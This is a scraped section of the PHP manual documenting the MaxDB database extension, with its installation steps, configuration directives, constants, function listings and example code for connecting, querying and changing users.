  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.
ingres_set_environment
MaxDB
Ingres Functions


MaxDB

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • MaxDB Functions
    • maxdb_affected_rows — Gets the number of affected rows in a previous MaxDB operation
    • maxdb_autocommit — Turns on or off auto-commiting database modifications
    • maxdb_bind_param — Alias of maxdb_stmt_bind_param
    • maxdb_bind_result — Alias of maxdb_stmt_bind_result
    • maxdb_change_user — Changes the user of the specified database connection
    • maxdb_character_set_name — Returns the default character set for the database connection
    • maxdb_client_encoding — Alias of maxdb_character_set_name
    • maxdb_close_long_data — Alias of maxdb_stmt_close_long_data
    • maxdb_close — Closes a previously opened database connection
    • maxdb_commit — Commits the current transaction
    • maxdb_connect_errno — Returns the error code from last connect call
    • maxdb_connect_error — Returns a string description of the last connect error
    • maxdb_connect — Open a new connection to the MaxDB server
    • maxdb_data_seek — Adjusts the result pointer to an arbitary row in the result
    • maxdb_debug — Performs debugging operations
    • maxdb_disable_reads_from_master — Disable reads from master
    • maxdb_disable_rpl_parse — Disable RPL parse
    • maxdb_dump_debug_info — Dump debugging information into the log
    • maxdb_embedded_connect — Open a connection to an embedded MaxDB server
    • maxdb_enable_reads_from_master — Enable reads from master
    • maxdb_enable_rpl_parse — Enable RPL parse
    • maxdb_errno — Returns the error code for the most recent function call
    • maxdb_error — Returns a string description of the last error
    • maxdb_escape_string — Alias of maxdb_real_escape_string
    • maxdb_execute — Alias of maxdb_stmt_execute
    • maxdb_fetch_array — Fetch a result row as an associative, a numeric array, or both
    • maxdb_fetch_assoc — Fetch a result row as an associative array
    • maxdb_fetch_field_direct — Fetch meta-data for a single field
    • maxdb_fetch_field — Returns the next field in the result set
    • maxdb_fetch_fields — Returns an array of resources representing the fields in a result set
    • maxdb_fetch_lengths — Returns the lengths of the columns of the current row in the result set
    • maxdb_fetch_object — Returns the current row of a result set as an object
    • maxdb_fetch_row — Get a result row as an enumerated array
    • maxdb_fetch — Alias of maxdb_stmt_fetch
    • maxdb_field_count — Returns the number of columns for the most recent query
    • maxdb_field_seek — Set result pointer to a specified field offset
    • maxdb_field_tell — Get current field offset of a result pointer
    • maxdb_free_result — Frees the memory associated with a result
    • maxdb_get_client_info — Returns the MaxDB client version as a string
    • maxdb_get_client_version — Get MaxDB client info
    • maxdb_get_host_info — Returns a string representing the type of connection used
    • maxdb_get_metadata — Alias of maxdb_stmt_result_metadata
    • maxdb_get_proto_info — Returns the version of the MaxDB protocol used
    • maxdb_get_server_info — Returns the version of the MaxDB server
    • maxdb_get_server_version — Returns the version of the MaxDB server as an integer
    • maxdb_info — Retrieves information about the most recently executed query
    • maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect
    • maxdb_insert_id — Returns the auto generated id used in the last query
    • maxdb_kill — Disconnects from a MaxDB server
    • maxdb_master_query — Enforce execution of a query on the master in a master/slave setup
    • maxdb_more_results — Check if there any more query results from a multi query
    • maxdb_multi_query — Performs a query on the database
    • maxdb_next_result — Prepare next result from multi_query
    • maxdb_num_fields — Get the number of fields in a result
    • maxdb_num_rows — Gets the number of rows in a result
    • maxdb_options — Set options
    • maxdb_param_count — Alias of maxdb_stmt_param_count
    • maxdb_ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • maxdb_prepare — Prepare an SQL statement for execution
    • maxdb_query — Performs a query on the database
    • maxdb_real_connect — Opens a connection to a MaxDB server
    • maxdb_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • maxdb_real_query — Execute an SQL query
    • maxdb_report — Enables or disables internal report functions
    • maxdb_rollback — Rolls back current transaction
    • maxdb_rpl_parse_enabled — Check if RPL parse is enabled
    • maxdb_rpl_probe — RPL probe
    • maxdb_rpl_query_type — Returns RPL query type
    • maxdb_select_db — Selects the default database for database queries
    • maxdb_send_long_data — Alias of maxdb_stmt_send_long_data
    • maxdb_send_query — Send the query and return
    • maxdb_server_end — Shut down the embedded server
    • maxdb_server_init — Initialize embedded server
    • maxdb_set_opt — Alias of maxdb_options
    • maxdb_sqlstate — Returns the SQLSTATE error from previous MaxDB operation
    • maxdb_ssl_set — Used for establishing secure connections using SSL
    • maxdb_stat — Gets the current system status
    • maxdb_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • maxdb_stmt_bind_param — Binds variables to a prepared statement as parameters
    • maxdb_stmt_bind_result — Binds variables to a prepared statement for result storage
    • maxdb_stmt_close_long_data — Ends a sequence of maxdb_stmt_send_long_data
    • maxdb_stmt_close — Closes a prepared statement
    • maxdb_stmt_data_seek — Seeks to an arbitray row in statement result set
    • maxdb_stmt_errno — Returns the error code for the most recent statement call
    • maxdb_stmt_error — Returns a string description for last statement error
    • maxdb_stmt_execute — Executes a prepared Query
    • maxdb_stmt_fetch — Fetch results from a prepared statement into the bound variables
    • maxdb_stmt_free_result — Frees stored result memory for the given statement handle
    • maxdb_stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare
    • maxdb_stmt_num_rows — Return the number of rows in statements result set
    • maxdb_stmt_param_count — Returns the number of parameter for the given statement
    • maxdb_stmt_prepare — Prepare an SQL statement for execution
    • maxdb_stmt_reset — Resets a prepared statement
    • maxdb_stmt_result_metadata — Returns result set metadata from a prepared statement
    • maxdb_stmt_send_long_data — Send data in blocks
    • maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation
    • maxdb_stmt_store_result — Transfers a result set from a prepared statement
    • maxdb_store_result — Transfers a result set from the last query
    • maxdb_thread_id — Returns the thread ID for the current connection
    • maxdb_thread_safe — Returns whether thread safety is given or not
    • maxdb_use_result — Initiate a result set retrieval
    • maxdb_warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.
ingres_unbuffered_query
Introduction
Vendor Specific Database Extensions


Introduction

The MaxDB PHP extension allows you to access the functionality provided by MaxDB 7.5.0 and above. More information about the MaxDB Database server can be found at » http://www.sdn.sap.com/irj/sdn/maxdb.

The MaxDB PHP extension is compatible to the MySQL mysqli extension. There are only minor differences in the behaviour of some functions due to the differences of the underlying database servers, MaxDB and MySQL.

The main differences to mysqli are in the following functions:

  • maxdb_character_set_name() - Returns only ascii or unicode.
  • maxdb_get_client_info() - Returns a different version string.
  • maxdb_get_client_version() - Returns a different version string.
  • maxdb_get_host_info() - Returns localhost or hostname.
  • maxdb_get_server_info() - Returns a different version string.
  • maxdb_get_server_version() - Returns a different version string.
  • maxdb_kill() - Only disconnects the session.
  • maxdb_multi_query() - Can not handle multiple SQL statements.
  • maxdb_next_result() - Function returns always false.
  • maxdb_options() - Supports a different set of options.
  • maxdb_report() - Supports a different report mode.
  • maxdb_stat() - Returns a different system status string.
  • maxdb_stmt_store_result() - Is not necessary for MaxDB.
  • maxdb_store_result() - Is not necessary for MaxDB.

Documentation for MaxDB can be found at » http://maxdb.sap.com/documentation/.

User Contributed Notes

There are no user contributed notes for this page.
MaxDB
Installing/Configuring
MaxDB


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
MaxDB


Requirements

In order to have these functions available, you must compile PHP with MaxDB support. Additionally, you must have the MaxDB SQLDBC runtime library available to access the MaxDB server.

Documentation for MaxDB SQLDBC can be found at » http://maxdb.sap.com/documentation/.

Download the MaxDB SQLDBC package from » http://www.sdn.sap.com/irj/sdn/maxdb-downloads.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

By using the --with-maxdb[=DIR] configuration option you enable PHP to access MaxDB databases. [DIR] points to the directory that contains the installed MaxDB SQLDBC package.

Windows users will need to enable php_maxdb.dll inside of php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MaxDB Configuration Options
Name | Default | Changeable | Changelog
maxdb.default_host | NULL | PHP_INI_ALL |
maxdb.default_db | NULL | PHP_INI_ALL |
maxdb.default_user | NULL | PHP_INI_ALL |
maxdb.default_pw | NULL | PHP_INI_ALL |
maxdb.long_readlen | "200" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

maxdb.default_host string

The default server host to use when connecting to the database server if no other host is specified.

maxdb.default_db string

The default server database to use when connecting if no other database is specified.

maxdb.default_user string

The default user name to use when connecting to the database server if no other name is specified.

maxdb.default_pw string

The default password to use when connecting to the database server if no other password is specified.

maxdb.long_readlen integer

The default maximum length of bytes that is transferred to the client if long data is retrieved from the MaxDB database server.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines resources.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants to use with maxdb_options() are defined. For further description of these constants see » http://maxdb.sap.com/documentation/.

MaxDB PHP client constants
Constant | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

The function maxdb_fetch_array() uses a constant for the different types of result arrays. The following constants are defined:

MaxDB fetch constants
Constant | Description
MAXDB_ASSOC | Columns are returned into the array having the fieldname as the array index.
MAXDB_ASSOC_UPPER | Columns are returned into the array having the upper case fieldname as the array index.
MAXDB_ASSOC_LOWER | Columns are returned into the array having the lower case fieldname as the array index.
MAXDB_BOTH | Columns are returned into the array having both a numerical index and the fieldname as the array index.
MAXDB_NUM | Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
MaxDB


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
MaxDB


Basic usage

All examples in the MaxDB PHP documentation use the HOTELDB demo database from MaxDB. More about this database can be found at » http://maxdb.sap.com/doc/7_7/44/d8c25164bb38d0e10000000a1553f7/content.htm.

To use the examples in the MaxDB PHP documentation, you have to load the tutorial data into your database. Then you have to set maxdb.default_db in php.ini to the database that contains the tutorial data.

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a MaxDB database.

Example #1 MaxDB extension overview example

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$query = "SELECT * FROM hotel.city";
$result = maxdb_query($link, $query) or die("Query failed : " . maxdb_error());

/* Printing results in HTML */
echo "<table>\n";
while ($line = maxdb_fetch_array($result, MAXDB_ASSOC)) {
    echo "  <tr>\n";
    foreach ($line as $col_value) {
        echo "    <td>$col_value</td>\n";
    }
    echo "  </tr>\n";
}
echo "</table>\n";

/* Free resultset */
maxdb_free_result($result);

/* Closing connection */
maxdb_close($link);
?>

The following example shows how to bind variables to a SELECT INTO statement.

Example #2 Example for use of SELECT INTO statements

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT percentage INTO ? FROM hotel.countrylanguage where language = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$name = "Mbundu";

maxdb_stmt_bind_param($stmt, 'ds', $percentage, $name);
maxdb_stmt_execute($stmt);

printf ("%f\n", $percentage);

maxdb_stmt_close ($stmt);
?>

The following example shows how to use MaxDB database procedures.

Example #3 Example fore using database procedures

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
MaxDB Functions
Examples


Basic usage
maxdb_affected_rows
MaxDB
PHP Manual

MaxDB Functions

Predefined Classes

maxdb

Represents a connection between PHP and a MaxDB database.

Constructor

  • maxdb - construct a new maxdb object

Methods

  • autocommit - turns on or off auto-commiting database modifications

  • change_user - changes the user of the specified database connection

  • character_set_name - returns the default character set for the database connection

  • close - closes a previously opened connection

  • commit - commits the current transaction

  • connect - opens a new connection to MaxDB database server

  • debug - performs debugging operations

  • dump_debug_info - dumps debug information

  • get_client_info - returns client version

  • get_host_info - returns type of connection used

  • get_server_info - returns version of the MaxDB server

  • get_server_version - returns version of the MaxDB server

  • init - initializes maxdb object

  • info - retrieves information about the most recently executed query

  • kill - asks the server to kill a MaxDB thread

  • multi_query - performs multiple queries

  • more_results - check if more results exist from currently executed multi-query

  • next_result - reads next result from currently executed multi-query

  • options - set options

  • ping - pings a server connection or reconnects if there is no connection

  • prepare - prepares an SQL query

  • query - performs a query

  • real_connect - attempts to open a connection to MaxDB database server

  • escape_string - escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • rollback - rolls back the current transaction

  • select_db - selects the default database

  • ssl_set - sets ssl parameters

  • stat - gets the current system status

  • stmt_init- initializes a statement for use with maxdb_stmt_prepare

  • store_result - transfers a resultset from last query

  • use_result - transfers an unbuffered resultset from last query

  • thread-safe - returns whether thread safety is given or not

Properties

  • affected_rows - gets the number of affected rows in a previous MaxDB operation

  • client_info - returns the MaxDB client version as a string

  • client_version - returns the MaxDB client version as an integer

  • errno - returns the error code for the most recent function call

  • error - returns the error string for the most recent function call

  • field_count - returns the number of columns for the most recent query

  • host_info - returns a string representing the type of connection used

  • info - retrieves information about the most recently executed query

  • insert_id - returns the auto generated id used in the last query

  • protocol_version - returns the version of the MaxDB protocol used

  • sqlstate - returns a string containing the SQLSTATE error code for the last error

  • thread_id - returns the thread ID for the current connection

  • warning_count - returns the number of warnings generated during execution of the previous SQL statement

maxdb_stmt

Represents a prepared statement.

Methods

  • bind_param - binds variables to a prepared statement

  • bind_result - binds variables to a prepared statement for result storage

  • close - closes a prepared statement

  • data-seek - seeks to an arbitrary row in a statement result set

  • execute - executes a prepared statement

  • fetch - fetches result from a prepared statement into bound variables

  • free_result - frees stored result memory for the given statement handle

  • result_metadata - retrieves a resultset from a prepared statement for metadata information

  • prepare - prepares an SQL query

  • send_long_data - sends data in chunks

  • close_long_data - end sending long data

  • reset - resets a prepared statement

  • store_result - buffers complete resultset from a prepared statement

Properties

  • affected_rows - returns affected rows from last statement execution

  • errno - returns errorcode for last statement function

  • errno - returns errormessage for last statement function

  • param_count - returns number of parameter for a given prepare statement

  • sqlstate - returns a string containing the SQLSTATE error code for the last statement function

maxdb_result

Represents the result set obtained from a query against the database.

Methods

  • close - closes resultset

  • data_seek - moves internal result pointer

  • fetch_field - gets column information from a resultset

  • fetch_fields - gets information for all columns from a resulset

  • fetch_field_direct - gets column information for specified column

  • fetch_array - fetches a result row as an associative array, a numeric array, or both.

  • fetch_assoc - fetches a result row as an associative array

  • fetch_object - fetches a result row as an object

  • fetch_row - gets a result row as an enumerated array

  • close - frees result memory

  • field_seek - set result pointer to a specified field offset

Properties

  • current_field - returns offset of current fieldpointer

  • field_count - returns number of fields in resultset

  • lengths - returns an array of columnlengths

  • num_rows - returns number of rows in resultset

Table of Contents

  • maxdb_affected_rows — Gets the number of affected rows in a previous MaxDB operation
  • maxdb_autocommit — Turns on or off auto-commiting database modifications
  • maxdb_bind_param — Alias of maxdb_stmt_bind_param
  • maxdb_bind_result — Alias of maxdb_stmt_bind_result
  • maxdb_change_user — Changes the user of the specified database connection
  • maxdb_character_set_name — Returns the default character set for the database connection
  • maxdb_client_encoding — Alias of maxdb_character_set_name
  • maxdb_close_long_data — Alias of maxdb_stmt_close_long_data
  • maxdb_close — Closes a previously opened database connection
  • maxdb_commit — Commits the current transaction
  • maxdb_connect_errno — Returns the error code from last connect call
  • maxdb_connect_error — Returns a string description of the last connect error
  • maxdb_connect — Open a new connection to the MaxDB server
  • maxdb_data_seek — Adjusts the result pointer to an arbitary row in the result
  • maxdb_debug — Performs debugging operations
  • maxdb_disable_reads_from_master — Disable reads from master
  • maxdb_disable_rpl_parse — Disable RPL parse
  • maxdb_dump_debug_info — Dump debugging information into the log
  • maxdb_embedded_connect — Open a connection to an embedded MaxDB server
  • maxdb_enable_reads_from_master — Enable reads from master
  • maxdb_enable_rpl_parse — Enable RPL parse
  • maxdb_errno — Returns the error code for the most recent function call
  • maxdb_error — Returns a string description of the last error
  • maxdb_escape_string — Alias of maxdb_real_escape_string
  • maxdb_execute — Alias of maxdb_stmt_execute
  • maxdb_fetch_array — Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc — Fetch a result row as an associative array
  • maxdb_fetch_field_direct — Fetch meta-data for a single field
  • maxdb_fetch_field — Returns the next field in the result set
  • maxdb_fetch_fields — Returns an array of resources representing the fields in a result set
  • maxdb_fetch_lengths — Returns the lengths of the columns of the current row in the result set
  • maxdb_fetch_object — Returns the current row of a result set as an object
  • maxdb_fetch_row — Get a result row as an enumerated array
  • maxdb_fetch — Alias of maxdb_stmt_fetch
  • maxdb_field_count — Returns the number of columns for the most recent query
  • maxdb_field_seek — Set result pointer to a specified field offset
  • maxdb_field_tell — Get current field offset of a result pointer
  • maxdb_free_result — Frees the memory associated with a result
  • maxdb_get_client_info — Returns the MaxDB client version as a string
  • maxdb_get_client_version — Get MaxDB client info
  • maxdb_get_host_info — Returns a string representing the type of connection used
  • maxdb_get_metadata — Alias of maxdb_stmt_result_metadata
  • maxdb_get_proto_info — Returns the version of the MaxDB protocol used
  • maxdb_get_server_info — Returns the version of the MaxDB server
  • maxdb_get_server_version — Returns the version of the MaxDB server as an integer
  • maxdb_info — Retrieves information about the most recently executed query
  • maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_insert_id — Returns the auto generated id used in the last query
  • maxdb_kill — Disconnects from a MaxDB server
  • maxdb_master_query — Enforce execution of a query on the master in a master/slave setup
  • maxdb_more_results — Check if there any more query results from a multi query
  • maxdb_multi_query — Performs a query on the database
  • maxdb_next_result — Prepare next result from multi_query
  • maxdb_num_fields — Get the number of fields in a result
  • maxdb_num_rows — Gets the number of rows in a result
  • maxdb_options — Set options
  • maxdb_param_count — Alias of maxdb_stmt_param_count
  • maxdb_ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • maxdb_prepare — Prepare an SQL statement for execution
  • maxdb_query — Performs a query on the database
  • maxdb_real_connect — Opens a connection to a MaxDB server
  • maxdb_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • maxdb_real_query — Execute an SQL query
  • maxdb_report — Enables or disables internal report functions
  • maxdb_rollback — Rolls back current transaction
  • maxdb_rpl_parse_enabled — Check if RPL parse is enabled
  • maxdb_rpl_probe — RPL probe
  • maxdb_rpl_query_type — Returns RPL query type
  • maxdb_select_db — Selects the default database for database queries
  • maxdb_send_long_data — Alias of maxdb_stmt_send_long_data
  • maxdb_send_query — Send the query and return
  • maxdb_server_end — Shut down the embedded server
  • maxdb_server_init — Initialize embedded server
  • maxdb_set_opt — Alias of maxdb_options
  • maxdb_sqlstate — Returns the SQLSTATE error from previous MaxDB operation
  • maxdb_ssl_set — Used for establishing secure connections using SSL
  • maxdb_stat — Gets the current system status
  • maxdb_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • maxdb_stmt_bind_param — Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result — Binds variables to a prepared statement for result storage
  • maxdb_stmt_close_long_data — Ends a sequence of maxdb_stmt_send_long_data
  • maxdb_stmt_close — Closes a prepared statement
  • maxdb_stmt_data_seek — Seeks to an arbitray row in statement result set
  • maxdb_stmt_errno — Returns the error code for the most recent statement call
  • maxdb_stmt_error — Returns a string description for last statement error
  • maxdb_stmt_execute — Executes a prepared Query
  • maxdb_stmt_fetch — Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_free_result — Frees stored result memory for the given statement handle
  • maxdb_stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_num_rows — Return the number of rows in statements result set
  • maxdb_stmt_param_count — Returns the number of parameter for the given statement
  • maxdb_stmt_prepare — Prepare an SQL statement for execution
  • maxdb_stmt_reset — Resets a prepared statement
  • maxdb_stmt_result_metadata — Returns result set metadata from a prepared statement
  • maxdb_stmt_send_long_data — Send data in blocks
  • maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation
  • maxdb_stmt_store_result — Transfers a result set from a prepared statement
  • maxdb_store_result — Transfers a result set from the last query
  • maxdb_thread_id — Returns the thread ID for the current connection
  • maxdb_thread_safe — Returns whether thread safety is given or not
  • maxdb_use_result — Initiate a result set retrieval
  • maxdb_warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

Sven 25-Feb-2006 12:14
Installation procedure of the maxdb - php module might be a bit troublesome for some part. Me, among others (judjing by forum threads) have managed to get problems when trying to install the maxdb-php module whithout any errorcodes. Making it hard to fix..:)
however, the ODBC-version of MaxDB / SapDB shouldn't be any troubles installing. There's a guide for this at the page:
http://maxdb.yapabout.com/viewtopic.php?t=21

Ofcourse, then the PHP ODBC should be used, not the MaxDB -php version.
Basic usage
maxdb_affected_rows
MaxDB
PHP Manual


Gets the number of affected rows in a previous MaxDB operation

MaxDB Functions
maxdb_autocommit
MaxDB Functions
PHP Manual

maxdb_affected_rows

maxdb::affected_rows

(PECL maxdb >= 1.0)

maxdb_affected_rows -- maxdb::affected_rows — Gets the number of affected rows in a previous MaxDB operation

Description

Procedural style

int maxdb_affected_rows ( resource $link )

Object oriented style

int $maxdb->affected_rows;

maxdb_affected_rows() returns the number of rows affected by the last INSERT, UPDATE, or DELETE query associated with the provided link parameter. If this number cannot be determined, this function will return -1.

Note:

For SELECT statements maxdb_affected_rows() works like maxdb_num_rows().

The maxdb_affected_rows() function only works with queries which modify a table. In order to return the number of rows from a SELECT query, use the maxdb_num_rows() function instead.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the number of rows affected can not be determined.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
$maxdb->query("CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", $maxdb->affected_rows);

$maxdb->query("ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
$maxdb->query("UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", $maxdb->affected_rows);

/* delete rows */
$maxdb->query("DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", $maxdb->affected_rows);

/* select all rows */
$result = $maxdb->query("SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", $maxdb->affected_rows);

$result->close();

/* Delete table Language */
$maxdb->query("DROP TABLE mycustomer");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
maxdb_query($link, "CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", maxdb_affected_rows($link));

maxdb_query($link, "ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
maxdb_query($link, "UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", maxdb_affected_rows($link));

/* delete rows */
maxdb_query($link, "DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", maxdb_affected_rows($link));

/* select all rows */
$result = maxdb_query($link, "SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", maxdb_affected_rows($link));

maxdb_free_result($result);

/* Delete table Language */
maxdb_query($link, "DROP TABLE mycustomer");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Affected rows (INSERT): 15
Affected rows (UPDATE): 15
Affected rows (DELETE): 0
Affected rows (SELECT): 15

See Also

  • maxdb_num_rows() - Gets the number of rows in a result
  • maxdb_info() - Retrieves information about the most recently executed query

User Contributed Notes

There are no user contributed notes for this page.
MaxDB Functions
maxdb_autocommit
MaxDB Functions


Turns on or off auto-commiting database modifications

maxdb_affected_rows
maxdb_bind_param
MaxDB Functions
PHP Manual

maxdb_autocommit

maxdb::auto_commit

(PECL maxdb >= 1.0)

maxdb_autocommit -- maxdb::auto_commit — Turns on or off auto-commiting database modifications

Description

Procedural style

bool maxdb_autocommit ( resource $link , bool $mode )

Object oriented style

bool maxdb::auto_commit ( bool $mode )

maxdb_autocommit() is used to turn on or off auto-commit mode on queries for the database connection represented by the link resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
$maxdb->autocommit(TRUE);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
maxdb_autocommit($link, TRUE);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

See Also

  • maxdb_commit() - Commits the current transaction
  • maxdb_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.
maxdb_affected_rows
maxdb_bind_param
MaxDB Functions


Alias of maxdb_stmt_bind_param

maxdb_autocommit
maxdb_bind_result
MaxDB Functions
PHP Manual

maxdb_bind_param

(PECL maxdb 1.0)

maxdb_bind_param — Alias of maxdb_stmt_bind_param()

Description

This function is an alias of: maxdb_stmt_bind_param()

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_autocommit
maxdb_bind_result
MaxDB Functions


Alias of maxdb_stmt_bind_result

maxdb_bind_param
maxdb_change_user
MaxDB Functions
PHP Manual

maxdb_bind_result

(PECL maxdb 1.0)

maxdb_bind_result — Alias of maxdb_stmt_bind_result()

Description

This function is an alias of: maxdb_stmt_bind_result().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_bind_param
maxdb_change_user
MaxDB Functions


Changes the user of the specified database connection

maxdb_bind_result
maxdb_character_set_name
MaxDB Functions
PHP Manual

maxdb_change_user

maxdb::change_user

(PECL maxdb >= 1.0)

maxdb_change_user -- maxdb::change_user — Changes the user of the specified database connection

Description

Procedural style

bool maxdb_change_user ( resource $link , string $user , string $password , string $database )

Object oriented style

bool maxdb::change_user ( string $user , string $password , string $database )

maxdb_change_user() is used to change the user of the specified database connection as given by the link parameter and to set the current database to that specified by the database parameter.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

Note:

Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* connect database test */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM dual")) {
   $row = $result->fetch_row();
   printf("Result: %s\n", $row[0]);
   $result->free();
}

/* reset all and select a new database */
if (!$maxdb->change_user("DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
$maxdb->close();
?>

